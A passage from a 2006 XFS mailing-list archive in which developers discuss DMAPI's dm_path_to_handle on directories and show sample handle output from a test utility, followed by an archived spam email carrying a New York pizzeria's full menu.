xfs-bounce@oss.sgi.com X-original-sender: vapo@sgi.com Precedence: bulk X-list: xfs Status: O John Groves wrote: > I'm running up against a difficult situation because dm_path_to_handle > does not return a handle, if the path is to a directory. Is this a > known issue, or perhaps fixed in a recent version? Or is there > another way get the handle of a directory by path? When any file type > is renamed, I (for various reasons) *must* know not just the old & new > parent handles, but also the handle of the renamed thingy. If the > thingy is a directory, I'm stuck at the moment. > > My test system has dmapi 2.2.1-5, which I don't think is current, but > I can't seem to get access to the oss.sgi.com server to check. > > Any advice or info appreciated. I'm willing to try and submit a > patch, but I'd appreciate first knowing whether there was a specific > reason or problem that led to the current behavior. > > Thanks, > John Groves > Hi John, If your path is longer than 2000 characters dm_path_to_handle used to fail. This bug was fixed in August 2006. Please update your tree from here: http://oss.sgi.com/projects/xfs/download.html Regards, Vlad From owner-xfs@oss.sgi.com Tue Oct 31 16:58:23 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 31 Oct 2006 16:58:32 -0800 (PST) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id kA10wJaG014068 for ; Tue, 31 Oct 2006 16:58:21 -0800 Received: from [134.14.55.89] (soarer.melbourne.sgi.com [134.14.55.89]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id LAA16704; Wed, 1 Nov 2006 11:57:26 +1100 Message-ID: <4547F0FC.5060502@sgi.com> Date: Wed, 01 Nov 2006 11:57:32 +1100 From: Vlad Apostolov User-Agent: Thunderbird 1.5.0.7 (X11/20060909) MIME-Version: 1.0 To: John Groves CC: Vlad Apostolov , linux-xfs@oss.sgi.com Subject: Re: XFS dmapi: dm_path_to_handle fails if the path is a directory References: <4547DA70.4040107@Groves.net> <4547EDFD.8020407@sgi.com> In-Reply-To: <4547EDFD.8020407@sgi.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 9509 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: vapo@sgi.com Precedence: bulk X-list: xfs Status: O Vlad Apostolov wrote: > John Groves wrote: >> I'm running up against a difficult situation because >> dm_path_to_handle does not return a handle, if the path is to a >> directory. Is this a known issue, or perhaps fixed in a recent >> version? Or is there another way get the handle of a directory by >> path? When any file type is renamed, I (for various reasons) *must* >> know not just the old & new parent handles, but also the handle of >> the renamed thingy. If the thingy is a directory, I'm stuck at the >> moment. >> >> My test system has dmapi 2.2.1-5, which I don't think is current, but >> I can't seem to get access to the oss.sgi.com server to check. >> >> Any advice or info appreciated. I'm willing to try and submit a >> patch, but I'd appreciate first knowing whether there was a specific >> reason or problem that led to the current behavior. >> >> Thanks, >> John Groves >> > Hi John, > > If your path is longer than 2000 characters dm_path_to_handle used to > fail. > This bug was fixed in August 2006. Please update your tree from here: > > http://oss.sgi.com/projects/xfs/download.html > > Regards, > Vlad > You could also see an example of how to use dm_path_to_handle() in xfs-cmds/xfstests/dmapi/src/suite1/cmd/path_to_handle.c Here is the output for a regular file and a directory: vapo@emu ~/isms/xfs-cmds/xfstests/dmapi/src/suite1/cmd> ls -al /mnt/scratch1 total 8 drwxrwxrwx 4 root root 46 2006-11-01 12:04 . drwxr-xr-x 8 root root 89 2006-10-30 14:23 .. drwxr-xr-x 7 root root 4096 2006-10-26 10:56 dmapi drwxr-xr-x 8 root root 4096 2006-10-26 10:56 dmapi_test -rw-r--r-- 1 vapo cdrom 0 2006-11-01 12:04 file vapo@emu ~/isms/xfs-cmds/xfstests/dmapi/src/suite1/cmd> sudo ./path_to_handle /mnt/scratch1/file 5d1111a90e4800000e000000710100009600000000000000 vapo@emu ~/isms/xfs-cmds/xfstests/dmapi/src/suite1/cmd> sudo ./path_to_handle /mnt/scratch1/dmapi 5d1111a90e4800000e0000006e0000008300000000000000 vapo@emu ~/isms/xfs-cmds/xfstests/dmapi/src/suite1/cmd> Regards, Vlad From owner-xfs@oss.sgi.com Tue Oct 31 19:07:42 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 31 Oct 2006 19:07:54 -0800 (PST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id kA137eaG002545 for ; Tue, 31 Oct 2006 19:07:42 -0800 X-ASG-Debug-ID: 1162345384-21793-188-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from pastafina45 (static-70-19-113-170.ny325.east.verizon.net [70.19.113.170]) by cuda.sgi.com (Spam Firewall) with SMTP id 6AF36D1B50BE for ; Tue, 31 Oct 2006 17:43:05 -0800 (PST) From: promotions To: Date: Tue, 31 Oct 2006 20:43:03 -0500 X-ASG-Orig-Subj: zip code 10022 Subject: zip code 10022 X-Mailer: TOL Mailer MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 7Bit Message-Id: <20061101014305.6AF36D1B50BE@cuda.sgi.com> X-Barracuda-Spam-Score: 0.70 X-Barracuda-Spam-Status: No, SCORE=0.70 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=MSGID_FROM_MTA_ID X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24692 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.70 MSGID_FROM_MTA_ID Message-Id for external message added locally X-archive-position: 9510 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: promotions@pastafina.us Precedence: bulk X-list: xfs Status: O PASTAFINA 876 Lexington ave. 712 3rd ave. Between 65th-66th sts. Between 44th-45th sts. T: 212 535 6240 T:212 867 4888 F:212 535 6850 F: 212 867 5355 REMOVE LINK AT END OF PAGE Specials: (1) Buy any large pizza and get 2 cans of soda FREE"max. eligibility 3 pizzas" (2) Buy any chicken dish $9.00 or over and get a can of soda or an order of garlic knots FREE (3) Order over $20.00 and get 2 cans of soda or a garlic bread w/ cheese FREE. (4) Order over $30.00 and get 6 buffalo wings or 6 mozzerella sticks FREE APPETIZERS AND SOUPS Individual order Group order SM(7") LG(9") Half tray(8) Full tray(15eople) Mozzerella Sticks (Served w/ marinara sauce) 6 for$4.25 30 for $20 60 for $37 Zucchini Sticks (Served w/ marinara sauce) $4.25 $ 20.00 $37.00 Antipasto Ham, salami, Provolone cheese, black olives, & fire roasted sweet red peppers on a bed of iceberg and Romaine lettuce w/ vinaigrette or your choice of dressing $5.50 $7.50 $50.00 $85.00 Caprese Salad Fresh mozzerella cheese, tomatoes, fresh basil, and fire roasted red peppers on a bed of iceberg and Romaine lettuce w/ vinaigrette or your choice of dressing. $4.25 $7.50 $50.00 $85.00 Fresca Salad Fresh mozzerella cheese, sundried tomatoes, fresh basil and red onions w/ vinaigrette or your choice of dressing $4.25 $7.50 $50.00 $85.00 Fried Calamari (served w/ marinara sauce or hot sauce) $5.50 $7.50 $50.00 $85.00 Buffalo Wings 6 (pcs.)$4.50 10(pcs) $6.50 50(pcs) $32.00 100( pcs)$55.00 Soups (Minestrone, Lentil or Chicken Noodle) Sm. $2.50(12Oz) Lg. $3.50(16Oz) THE PIZZA MADNESS Mini Medium Large Slice 10" 14" 18" Margarita (tomato, sauce & mozz. cheese) $2.00 $6.00 $10.00 $12.50 Basil (tomato sauce, basil leaves & cheese) N/A $6.50 $11.00 $14.00 Bianca (Mozz. & Ricotta no tomato sauce) $2.75 $8.00 $13.00 $16.00 Sicilian (Square pizza w/ tomato sauce & cheese) $2.50 N/A N/A $17.00 Any extra topping $0.75 $1.00 $2.00 $2.50 Available toppings: Extra cheese, Pepperoni, sausages, meatballs, bacon, ham, genoa Salami,chicken cutlets,grilled chicken, anchovies, black olives, Green peppers, spicyhot cherry peppers, fire roasted sweet red peppers, broccoli, spinach, fried. Special Pizza Pies Mini (10") Medium (14") Large (18") $9.00 $14.50 $18.00 Caprese Pizza Sauce, cheese, fresh basil, tomatoes and fresh mozzerella cheese. Primavera Pizza Sauce,cheese, broccoli, mushrooms and spinach. Quatro Stagiones Pizza Sauce, cheese, broccoli, tomatoes, fresh basil and garlic Arrabbiata Pizza Sauce, cheese, black olives, hot cherry peppers, and mushrooms. Sorrentina Pizza Sauce, cheese, eggplant, onions and bacon. House favorite Pizza Sauce, cheese meatballs, sausages and pepperoni Verona Pizza Sauce, cheese, artichoke hearts, sundried tomatoes and fresh basil. Romana Pizza Sauce, cheese, tomatoes, sundried tomatoes and spinach. Tourino Pizza Sauce, cheese, artichoke hearts, mushrooms and garlic. Sausage Combo Pizza Sauce, cheese, sausage, Onions and peppers. Little Italy Pizza Sauce, cheese, meatballs, mushrooms and sundried tomatoes Focaccia Pizza Cheese, romano cheese, garlic, onions and peppers(no sauce) Spinach Alfredo Pizza Cheese, ricotta cheese, garlic and spinach (no sauce) Hawaiian Pizza Sauce, cheese, ham and pineapple. Napoli Pizza Sauce, cheese, bacon, onions and fresh garlic. Bolognese Pizza Sauce, cheese, meatballs, onions and fresh garlic. Chicken Marsala Pizza Sauce, cheese, a blend of herbs, and sautéed chicken & mushrooms in marsala wine. All meat Pizza $10.00 $18.00 $22-00 Sauce, cheese, Sausages meatballs, pepperoni, ham, salami and bacon. All vegetables pizza Broccoli, onions, mushrooms., spinach, green peppers,&omatoes $10.00 $18.00 $22.00 SALADS Served with the suggested dressing or your choice of vinaigrette, creamy Italian, blue cheese, French, thousand island or ranch dressing. Individual order Group Order SM Lg Half tray Full tray Add Grilled chicken $2.00 $2.00 $12.00 $20.00 Add: Mozzerella cheese $1.00 $1.50 $7.00 $12.00 Add: Anchovies $1.00 $1,50 $7.00 $12.00 Tossed Salad $3.50 $5.00 $28.00 $50.00 Tomatoes, cucumbers and black olives on iceberg lettuce w/ vinaigrette or your choice of dressing Caesar Salad Romaine lettuce w/ Caesar dressing & croutons $3.75 $5.50 $33.00 $55.00 Avocado Salad $5.00 $7.00 $50.00 $85.00 Slices of ripe avocados, red onions and tomatoes on a bed of iceberg & romaine lettuce w/ blue cheese dressing or your choice. Mediteranean Salad $5.00 $7.00 $45.00 $70.00 Artichoke hearts, red onions, red cabbage, black olives, celery, and American cheese on a bed of iceberg and romaine lettuce w/vinaigrette dressing or your choice. Greek Salad $5.00 $7.00 $45.00 $70.00 Feta cheese, olives, tomatoes, cucumbers and green peppers on a bed of iceberg &romaine lettuce w/ vinaigrette dressing or your choice. Tuna Salad Platter $5.00 $7.00 $45.00 $70.00 Tuna salad, green peppers, cucumbers, a hard boiled egg, black olives& tomatoes on a bed of iceberg and romaine w/ vinaigrette dressing oryour choice. Chef Salad $5.50 $7.50 $50.00 $85.00 Smoked turkey, roast beef, ham, tomatoes, a hard boiled egg, Swiss & American cheeses on a bed of iceberg and romaine w/ vinaigrette or your choice. Acapulco Salad $5.50 $7.50 $50.00 $80.00 Grilled chicken, tomatoes, and red onions on a bed of iceberg and romaine w/ blue cheese dressing or your choice. Pollo Semi Freddo Salad $5.50 $7.50 $50.00 $85.00 Boneless chicken sautéed with fresh mushrooms, fire roasted red sweet peppers, and onions on a bed of iceberg and romaine w/ vinaigrette oryour choice. OTHER SPECIALTIES Gyro Sandwich on pita.......... with lettuce, tomatoes, onions and white sauce. $4.75 with french fries .......$7.00 Falafel Sandwich on pita.... with lettuce, tomatoes and Tahini Salad ...$4.00 plate........................$6.50 HERO COMBINATIONS (All heroes are 1 foot long) Heroes are served with the suggested dressing unless you specify otherwise Cordon blue hero ............................................................ $7.00 Chicken breast dipped in eggs & bread crumbs at one side sautéed in butter and white wine topped with ham and melted Swiss cheese w/mayonaise. (note ham can be replaced by Smoked turkey) Chicken mozzerella hero Grilled chicken breast, pesto sauce, tomatoes and melted fresh mozzerella cheese.$7.00 Chicken cheese steak. Grilled chicken, grilled mushrooms & onions w/ melted American cheese $7.00 Chicken avocadoes hero .. Grilled chicken, avocadoes, lettuce & tomatoes with blue cheese dressing $7.00. Chicken sundried tomatoes. Grilled chicken, sundried tomatoes, lettuce & red onions w/Russian dressing $7.00. Chicken caprese hero.. Grilled chicken, roasted red peppers,basil leaves w/ fresh mozzerella cheese $7.00. Chicken Caesar hero. Grilled chicken breast, topped w/ Caesar salad on a hero bread..$6.50 Philly cheese steak. Grilled roast beef, onions and mushrooms topped with melted American cheese $7.00. Balboa Hero Grilled roast beef and melted Swiss cheese on a garlic bread.\..$7.00 Abondanza hero. Ham, salami, pepperoni, mozzerella cheese, lettuce, tomatoes and mustard. $7.00 Bavarian hero Smoked turkey, roast beef, Swiss cheese, lettuce, tomatoes and Thousand Island dressing. .$7.00 Milano hero. Ham, salami, provolone cheese, fire roasted red sweet peppers, fresh basil with lettuce, tomatoes and vinaigrette. $7.00. Todi hero smoked turkey, sundried tomatoes, red onions, w/lettuce, tomatoes & vinaigrette .$7.00. Countach her Smoked turkey, fresh basil w/ lettuce, tomatoes and mayonnaise.o $7.00 Eggplant fresca hero.Grilled eggplant, sundried tomatoes, fresh mozz.cheese, fresh basil and fresh tomatoes.$7.00. Eggplant Caprese heroGrilled eggplant, sweet red peppers fresh basil fresh tomatoes and fresh mozzarella$7.00 Eggplant melonese hero.... Grilled eggplant,lettuce,tomatoes and vinaigrette.........$6.50. Casa lingo hero.................................................................$6.50 Fresh mozzerella cheese, fresh basil, lettuce, tomatoes and vinaigrette Chicken melonese hero....... Chicken cutlets, lettuce, tomatoes and vinaigrette..$6.50 Tuna melonese hero ... Tuna salad,lettuce,tomatoes and mayonnaise.....$6.50. Chicken or Veal or Shrimp Parmigiana hero................$6.50 Meatballs or Eggplant Parmigiana hero .......................$6.25 Sausage & Peppers Parmigiana hero.............................$6.25 Chicken or Veal or Shrimp bruschetta hero .................$7.00 (Bruschetta: Tomatoes sautéed in olive oil and vinegar topped with melted mozzerella cheese on a garlic bread) Meatballs or Eggplant Bruschetta hero.........................$6.75 Sausage&Peppers bruschetta hero.................................$7.00 PARMIGIANA PLATTERS Individual order 1/2 tray full tray no pasta w/ pasta no pasta w/ pasta no pasta w/ pasta Available pastas: Spaghetti, Fettucine, Angel hair, Ziti, Penne, Rigatoni, and cheese ravioli Veal Parmigiana $7.00 $9.25 $55.00 $50.00 $90.00 $80.00 Chicken Parmigiana $7.00 $9.25 $55.00 $50.00 $90.00 $80.00 Shrimp Parmigiana $7.00 $9.25 $55.00 $50.00 $90.00 $80.00 Meatball Parmigiana $6.50 $8.75 $50.00 $45.00 $80.00 $70.00 Eggplant Parmigiana $6.50 $8.75 $50.00 $45.00 $80.00 $70.00 Sausage & Peppers Parmigiana $6.50 $8.75 $50.00 $45.00 $80.00 $70.00 BAKED PASTA Served w/ bread and grated cheese Small Large Half tray Full tray 7" 8"container 8 15 people Baked Ziti $6.00 $7.75 $45.00 $70.00 Baked Ziti w/ meat sauce $7.00 $8.50 $55.00 $85.00 Baked Ziti w/ spinach $7.00 $8.50 $55.00 $85.00 Baked stuffed shells $6.75 $8.25 $55.00 $85.00 Baked cheese ravioli $6.50 $8.25 $55.00 $85.00 Baked meat lasagna $6.50 $8.25 $55.00 $85.00 CLUBS ($6.50) w/ cheese $0.50 extra (3 slices of white toast containing two layers of the filling w/bacon,lettuce & tomatoes served with french fries) Tuna Club, Turkey Club; Double Burger Club. BURGERS(4 oz. char-broiled burgers) Sandwich (on a bun) Deluxe (w/ lettuce, tomatoes& french fries) Plain burger $2.75 $4.50 Cheese burger (American, Swiss, Mozzerella or Provolone) $3.00 $4.75 Bacon cheese burger $3.50 $5.25 Pizza burger (Topped w/ marinara sauce & mozzerella cheese) $3,25 $5.00 Philly burger(topped w/ grilled onions, peppers, mushrooms & American cheese) $4.25 $5.75 Garlic burger(Topped w/ black olives & garlic) $3.25 $5.00 WRAPS ($6.00) Served with the suggested dressing or your choice of vinaigrette, creamy Italian, Blue cheese, French, ranch, or thousand island Sausage Peppers & Onions Wrap Sausages w/grilled peppers & Onions. Philly cheese Wrap Roast beef, grilled mushrooms & onions w/ American cheese. Chicken cheese steak Wrap Grilled chicken, grilled mushrooms & onions w/ American cheese. Chicken Caesar Wrap Grilled chicken with Caesar salad. Pastafina Wrap Grilled chicken, Pesto sauce, tomatoes fresh mozzerella cheese. Chicken sundried tomatoes wrap grilled chicken, sundried tomatoes, lettuce, tomatoes and vinaigrette. Chicken Melonese Wrap Chicken cutlets, lettuce, tomatoes & mayonnaise. Todi Wrap Smoked Turkey, sun dried tomatoes, red onions, lettuce, tomatoes & mayo. (Wraps continued on inside page) Bavarian Wrap Smoked turkey, roast beef, Swiss cheese, lettuce, tomatoes & Russian dressing Milano Wrap Ham, Salami, provolone cheese, fire roasted sweet red peppers, basil, lettuce, tomatoes and mayonnaise. Caprese Wrap Fresh mozzerella cheese, fire roasted red sweet peppers, basil leaves, lettuce & tomatoes and vinaigrette. Abondanza Wrap Ham, salami, pepperoni, mozzerella cheese, lettuce, tomatoes and mustard. Veggie Wrap Avocados, red onions, black olives, lettuce, tomatoes and blue cheese dressing. PASTA AND SAUTÉE No half ordersAvailable pastas:Spaghetti, Fettuccine, Angel hair, Ziti, Penne,Rigatoni and cheese ravioli Individual 1/2 tray full tray 8" container 8-10 people 15-17 people $7.50 $50.00 $80.00 Add Chicken : $2.00 extra $10.00 extra $20.00 extra Add Shrimp $3.00 extra $15.00 extra $30.00 extra Penne alla vodka Onions vodka in pink sauce over penne or your choice of pasta. Pastafina sauce (house favorite) Fresh mushrooms, onions, fresh basil & fresh tomatoes in pink or cream or marinara sauce w/ angel hair pasta or your choice of pasta. Dil visubio Sundried tomatoes, artichoke hearts, snow peas, & fresh garlic in marinara or pink or cream sauce over fettuccine or you choice of pasta. Arrabbiata Fresh mushrooms, hot cherry peppers, black olives, fresh garlic in Bolognese Our special meat sauce over spaghetti or your choice of pasta. marinara over spaghetti or your choice of pasta. Marinara and Broccoli fresh mushrooms, carrots, peas, in garlic and oil, marinara, pink, or cream sauce over angel hair or your choice of pasta. meatballs Two jumbo meat balls with marinara sauce over spaghetti or your choice of pasta. Primavera Broccoli, fresh mushrooms, carrots, peas, in garlic &oil , marinara, pink, or cream sauce. Californese Fresh tomatoes, fresh basil in garlic and oil or marinara, sauce over angel hair or your choice of pasta. Alla pesto Pesto and garlic in heavy cream sauce over angel hair or your choice. Ortolana Broccoli in olive oil and garlic or in marinara sauce over angel hair or your choice of pasta. Alfredo Our special creamy alfredo sauce over fettuccine or your choice of pasta Carbonara Bacon, ham, and parmigiana cheese in our creamy sauce over fettuccine or your choice of pasta. Toscana Ham, artichoke hearts, fire roasted sweet red peppers in pink, cream or marinara sauce over rigatoni or your choice of pasta. Siena Ham & fresh mushrooms in pink, cream or marinara, sauce over rigatoni or your choice of pasta.t Clam sauce (red or white) Baby clams sautéed w/ garlic & oregano or marinara, over spaghetti or your choice of pasta. Putanesca Anchovies, capers, fresh garlic, & black olives in marinara sauce over angel hair or your choice of pasta. Angelica Sundried tomatoes, snow peas, in olive oil and garlic over angel hair or your choice of pasta. Marinara sauceWith spaghetti or your choice of pasta:Sm $4.50 Large $6.00 Half Tray $35.00 Full Tray $50.00 CHICKEN ENTREES Served w/ pasta, bread & parmigiana cheese Individual order Half tray Full tray 8" container 8-10 15-17 people $9.00 $60.00 $95.00 Chicken Marsala Chicken, basil, marsala wine in a mushroom gravy sauce over angel hairor your choice of pasta. Chicken Cacciatore Chicken sauteed with mushrooms and fire roasted sweet red peppers w/marinara or cream or pink sauce over spaghetti or your choice of pasta. Chicken Loca Chicken sautéed with mushrooms, spinach & fire roasted sweet red peppersin marinara, pink, or cream sauce over rigatoni or your choice of pasta Chicken Christina Chicken sautéed with mushrooms and artichoke hearts in marinara, creamor pink sauce over angel hair pasta or your choice. Chicken Amalfitana Chicken sautéed with mushrooms and garlic in marinara or cream or pinksauce over rigatoni or your choice. Chicken de la casa Chicken sautéed with sundried tomatoes and garlic in marinara or creamor pink sauce over rigatoni or your choice of pasta. Chicken Scarparillo Chicken sautéed with artichoke hearts, lemon juice and black olives incream, pink or marinara sauce over fettuccine or your choice of Pasta. Chicken Cordon Blue Two chicken breasts dipped in egg and bread crumbs sautéed In olive oiltopped with ham and melted Swiss cheese served with spaghetti w/marinara sauce: $11.00 $62.00 $110.00 ROLLS & CALZONES Any additional topping $0.75 Chicken Roll $4.50 Cheese calzone (ricotta & mozz.,no sauce) $4.50 Grilled Eggplant roll (made to order) $4.50 Sausage Roll $4.50 Ham & cheese Calzone $5.25 Hot dog Roll $1.75 Calzone w/ any one topping $5.25 Spinach Roll $4.50 Beef Patties $1.75 Pepperoni Rolls $2.00 Beef Patties w/ cheese $2.50 Broccoli roll (made to order) $4.50 SIDE ORDERS Bruschetta Tomatoes sautéed in olive oil and vinegar with melted mozzerella cheese over a garlic bread. $4.00 Garlic bread $1.75 Meatballs $1.50/each Garlic bread with cheese $2.50 French fries $2.00 Garlic knots 5 for $1.00 Marinara sauce 4 oz $0.50 10 oz $1.00 Chicken breast (grilled or fried cutlets) $2.50 Bolognese sauce 10 oz for $2.00 TO GET REMOVED PLEASE CLICK REPLY AND TYPE IN REMOVE